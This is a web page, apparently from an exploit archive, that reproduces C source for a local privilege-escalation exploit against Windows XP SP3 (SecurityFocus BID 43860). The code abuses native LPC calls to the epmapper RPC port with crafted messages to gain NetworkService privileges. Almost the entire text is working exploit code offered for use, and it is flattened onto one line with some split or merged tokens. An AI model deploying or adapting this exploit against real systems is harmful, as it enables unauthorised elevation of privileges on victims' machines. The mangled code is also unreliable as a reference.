扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 |
// source: https://www.securityfocus.com/bid/43860/info Microsoft Windows is prone to a local privilege-escalation vulnerability. A local attacker can exploit this issue to execute arbitrary code and elevate their privileges to the NetworkService account level. Failed exploit attempts may cause a denial-of-service condition. The issue affects Microsoft Windows XP SP3; other versions may also be affected. #include <windows.h> #include <stdio.h> //#include "ntdll.h" //#pragmacomment(lib,"ntdll.lib") #pragmacomment(lib,"advapi32.lib") typedef enum _PROCESSINFOCLASS { ProcessDebugPort=7// 7 Y Y } PROCESSINFOCLASS; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING ,*PUNICODE_STRING; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; }CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID; #define PORT_NAME_LEN 64 #define LRPC_CONNECT_REQUEST 0 #define LPC_CONNECTION_REQUEST 10 #defineoffset0x100+0x4-0x6*4 #defineMAXLEN0x148 #defineBACKNAMEL"\\RPC Control\\back2" #defineRPCLPCNAME L"\\RPC Control\\epmapper" #defineBINDNAMEL"back2" typedef struct _LRPC_BIND_EXCHANGE { INTConnectType ; DWORD AssocKey ; charszPortName[PORT_NAME_LEN] ; RPC_SYNTAX_IDENTIFIER InterfaceId; RPC_SYNTAX_IDENTIFIER TransferSyntax; RPC_STATUS RpcStatus; unsigned char fBindBack ; unsigned char fNewSecurityContext ; unsigned char fNewPresentationContext; unsigned char PresentationContext; unsigned char Pad[3]; unsigned long SecurityContextId; } LRPC_BIND_EXCHANGE; typedef struct _LPC_MESSAGE { USHORTDataSize; USHORTMessageSize; USHORTMessageType; USHORTDataInfoOffset; CLIENT_ID ClientId; ULONG MessageId; ULONG SectionSize; //UCHAR& nbsp; Data[]; }LPC_MESSAGE, *PLPC_MESSAGE; typedef struct _OBJECT_ATTRIBUTES { DWORD Length; HANDLERootDirectory; PUNICODE_STRING ObjectName; DWORD Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; }OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES; typedef DWORD (CALLBACK * NTCREATEPORT)( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONGMaxConnectInfoLength, IN ULONGMaxDataLength, IN OUT PULONG Reserved OPTIONAL ); typedef DWORD (CALLBACK * NTREPLYWAITRECVIVEPORT)( IN HANDLE PortHandle, OUT PHANDLE ReceivePortHandle OPTIONAL, IN PLPC_MESSAGE Reply OPTIONAL, OUT PLPC_MESSAGEIncomingRequest ); typedef DWORD (CALLBACK * NTACCEPTCONNECTPORT) ( OUT PHANDLE PortHandle, IN PVOID PortContext OPTIONAL, IN PLPC_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, IN OUT int int1, //IN OUT PPORT_VIEW ServerView OPTIONAL, OUT int int2//OUT PREMOTE_PORT_VIEW ClientView OPTIONAL ); typedef DWORD (CALLBACK * NTCONNECTPORT)( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT int int1, //IN OUT PPORT_VIEW ClientView OPTIONAL, IN OUT int int2, // IN OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL, IN OUT PVOID ConnectionInformation OPTIONAL, IN OUT PULONG ConnectionInformationLength OPTIONAL ); typedef DWORD (CALLBACK *NTREQUESTWAITREPLYPORT)( // NtRequestWaitReplyPort( INHANDLE PortHandle, INPLPC_MESSAGE Request, OUT PLPC_MESSAGEIncomingReply ); typedef DWORD (CALLBACK *NTCOMPLETECONNECTPORT) ( IN HANDLE PortHandle ); typedef DWORD (CALLBACK *RTLINITUNICODESTRING)( PUNICODE_STRING DestinationString, PCWSTR SourceString ); typedef DWORD (CALLBACK * NTREPLYPORT)( IN HANDLE PortHandle, IN PLPC_MESSAGE Reply ); typedef DWORD (CALLBACK * NTSETINFORMATIONPROCESS)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOIDProcessInformation, IN ULONGProcessInformationLength ); typedef struct _DEBUG_MESSAGE { LPC_MESSAGEPORT_MSG; DEBUG_EVENTDebugEvent; }DEBUG_MESSAGE, *PDEBUG_MESSAGE; NTSETINFORMATIONPROCESSNtSetInformationProcess; NTREPLYWAITRECVIVEPORT NtReplyWaitReceivePort; NTCREATEPORT NtCreatePort; NTREPLYPORTNtReplyPort; NTCONNECTPORTNtConnectPort; RTLINITUNICODESTRING RtlInitUnicodeString; NTREQUESTWAITREPLYPORT NtRequestWaitReplyPort; NTACCEPTCONNECTPORTNtAcceptConnectPort; NTCOMPLETECONNECTPORTNtCompleteConnectPort; template <int i> struct PORT_MESSAGEX : LPC_MESSAGE { UCHAR Data[i]; }; PROCESS_INFORMATIONpi; int server(); voidinitapi(); int main() { // LPC_MESSAGE Reply; //HMODULE hNtdll; //DWORDdwAddrList[9]; BOOLbExit = FALSE; //DWORDdwRet; //HANDLEhPort; intk=0; unsigned long i; //DEBUG_MESSAGE dm; OBJECT_ATTRIBUTES oa = {sizeof(oa)}; PORT_MESSAGEX<0x130> PortReply,PortRecv; STARTUPINFOsi={sizeof(si)}; // NTSTATUS intStatus; PLPC_MESSAGERequest; // PLPC_MESSAGEIncomingReply; LPC_MESSAGE Message; HANDLE LsaCommandPortHandle; UNICODE_STRING LsaCommandPortName; SECURITY_QUALITY_OF_SERVICE DynamicQos; LRPC_BIND_EXCHANGE BindExchange; DWORD Key=0x11223344; unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE); BindExchange.ConnectType = LRPC_CONNECT_REQUEST ; BindExchange.AssocKey = Key; //wcscpy((wchar_t *)&(BindExchange.szPortName),BINDNAME); DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation; DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING; DynamicQos.EffectiveOnly = TRUE; initapi(); printf( "\r\nwindows lpc test!\r\n"); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)server,0,0,&i); // // Connect to the Reference Monitor Command Port.This port // is used to send commands from the LSA to the Reference Monitor. // RtlInitUnicodeString( &LsaCommandPortName,RPCLPCNAME); Status = NtConnectPort( &LsaCommandPortHandle, &LsaCommandPortName, &DynamicQos, NULL, NULL, NULL,// &maxlen, &BindExchange, &Bi ndExchangeLength); if ((Status)) { exit(Status); //print(("LsapRmInitializeServer - Connect to Rm Command Port failed 0x%lx\n",Status)); // goto InitServerError; } //exit(0); /* //create port dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0); if(dwRet != 0) { printf("create hPort failed. ret=%.8X\n", dwRet); return 0; } //create process if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, 0, 0, &si, &pi)) { printf("CreateProcess failed:%d\n", GetLastError()); return 0; } //set debug port dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort, &hPort, sizeof(hPo rt)); if(dwRet != 0) { printf("set debug port error:%.8X\n", dwRet); return 0; } //printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort); ResumeThread(pi.hThread); */ while (true) { memset(&Message, 0, sizeof(Message)); Message.MessageSize=0x118; Message.DataSize=0x100; Message.MessageId=0x1122; Request=&Message; memset(&PortReply, 0, sizeof(PortReply)); //memcpy(&PortReply, &dm, sizeof(dm)); memset(&PortReply, 0, sizeof(PortReply)); //memcpy(&PortReply, &dm, sizeof(dm)); PortReply.MessageSize = 0x100; PortReply.DataSize = 0x100-0x18; PortReply.MessageType=0; PortReply.MessageId=0x1122; PortReply.Data[0]=0x0b; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0; wcscpy((wchar_t *)&(PortReply.Data[0x10]),BINDNAME); Sleep(1000); Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply); //memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList)); PortReply.MessageSize = 0xa0; PortReply.DataSize = 0xa0-0x18; PortReply.MessageType=0; PortReply.MessageId=0x1122; PortReply.Data[0]=0x0; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0; memcpy((unsigned char *)&(PortReply.Data[0x0c]), "\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00",0x20); //"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00",0x20); //memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList)); _asm{ // die: jmp die } Sleep(1000); Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply); BindExchange=*(LRPC_BIND_EXCHANGE *)&(PortRecv.Data[8]); if (!(Status)) { while(1){ PortReply.MessageSize = 0x100; PortReply.DataSize = 0x100-0x18; PortReply.MessageType=0; PortReply.MessageId=PortRecv.MessageId; PortReply.Data[0]=0x01; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0x3; PortReply.Data[5]=0; PortReply.Data[6]=0; *(int *)(&(PortReply.Data[0x18]))=*(int *)(&(PortRecv.Data[0x30])); _asm{ // die: jmp die } Sleep(100); Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply); Sleep(0x7fffffff); } } } return 0; } int server() { BOOLbExit = FALSE; DWORDdwRet; //HANDLEhPort; intk=0; unsigned long maxlen; //DEBUG_MESSAGE dm; OBJECT_ATTRIBUTES oa = {sizeof(oa)}; PORT_MESSAGEX<0x130> PortReply,PortRecv; STARTUPINFOsi={sizeof(si)}; // NTSTATUS intStatus; PLPC_MESSAGERequest; PLPC_MESSAGEIncomingReply; LPC_MESSAGE Message; HANDLE BackPortHandle,NewHandle,NewAccHandle; UNICODE_STRING BackPortName; SECURITY_QUALITY_OF_SERVICE DynamicQos; LRPC_BIND_EXCHANGE BindExchange; DWORD Key=0x11223344; unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE); BindExchange.ConnectType = LRPC_CONNECT_REQUEST ; BindExchange.AssocKey = Key; DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation; DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING; DynamicQos.EffectiveOnly = TRUE; RtlInitUnicodeString( &BackPortName,BACKNAME); memset(&oa,0,sizeof(oa)); oa.Length=0x18; oa.ObjectName=&BackPortName; oa.Attributes=0x40; //InitializeObjectAttributes(&oa,&BackPortName,0x40,0,0); //OBJ_CASE_INSENSITIVE,0,0); //SecurityDescriptor); //create port dwRet = NtCreatePort(&BackPortHandle, &oa, sizeof(LRPC_BIND_EXCHANGE),MAXLEN, 0); if(dwRet != 0) { printf("create hPort failed. ret=%.8X\n", dwRet); // return 0; } while (true) { memset(&Message, 0, sizeof(Message)); Message.MessageSize=0x118; Message.DataSize=0x100; Message.MessageId=0x11; Request=&Message; memset(&PortReply, 0, sizeof(PortReply)); //memcpy(&PortReply, &dm, sizeof(dm)); PortReply.MessageSize = 0x148; PortReply.DataSize = 0x130; PortReply.MessageType=0; PortReply.Data[0]=0x0b; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0; //memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList)); Status=NtReplyWaitReceivePort(BackPortHandle,0,0,&PortRecv); //Reply); if(PortRecv.MessageType==LPC_CONNECTION_REQUEST) { Status=NtAcceptConnectPort(&NewAccHandle, 0, &PortRecv,1, NULL, NULL); Status=NtCompleteConnectPort (NewAccHandle); memset(&PortRecv, 0, sizeof(PortRecv)); Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv); while(1) { PortRecv.MessageSize = 0x148; PortRecv.DataSize = 0x130; // PortReply.MessageId=PortRecv.MessageId; _asm{ //die: jmp die } Status=NtReplyWaitReceivePort(NewAccHandle,0,&PortRecv,&PortRecv); //&PortReply,&PortRecv); Sleep(100); Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv); } } } } void initapi() { HMODULE hNtdll; //get native api address hNtdll = LoadLibrary("ntdll.dll"); if(hNtdll == NULL) { printf("LoadLibrary failed:%d\n", GetLastError()); } NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT) GetProcAddress(hNtdll, "NtReplyWaitReceivePort"); NtCreatePort = (NTCREATEPORT) GetProcAddress(hNtdll, "NtCreatePort"); NtReplyPort = (NTREPLYPORT) GetProcAddress(hNtdll, "NtReplyPort"); NtSetInformationProcess = (NTSETINFORMATIONPROCESS) GetProcAddress(hNtdll, "NtSetInformationProcess"); NtRequestWaitReplyPort= (NTREQUESTWAITREPLYPORT) GetProcAddress(hNtdll,"NtRequestWaitReplyPort"); NtConnectPort= (NTCONNECTPORT) GetProcAddress(hNtdll, "NtConnectPort"); NtCompleteConnectPort= (NTCOMPLETECONNECTPORT) GetProcAddress(hNtdll, "NtCompleteConnectPort"); NtAcceptConnectPort= (NTACCEPTCONNECTPORT) GetProcAddress(hNtdll, "NtAcceptConnectPort"); RtlInitUnicodeString=(RTLINITUNICODESTRING) GetProcAddress(hNtdll,"RtlInitUnicodeString"); } |
体验盒子
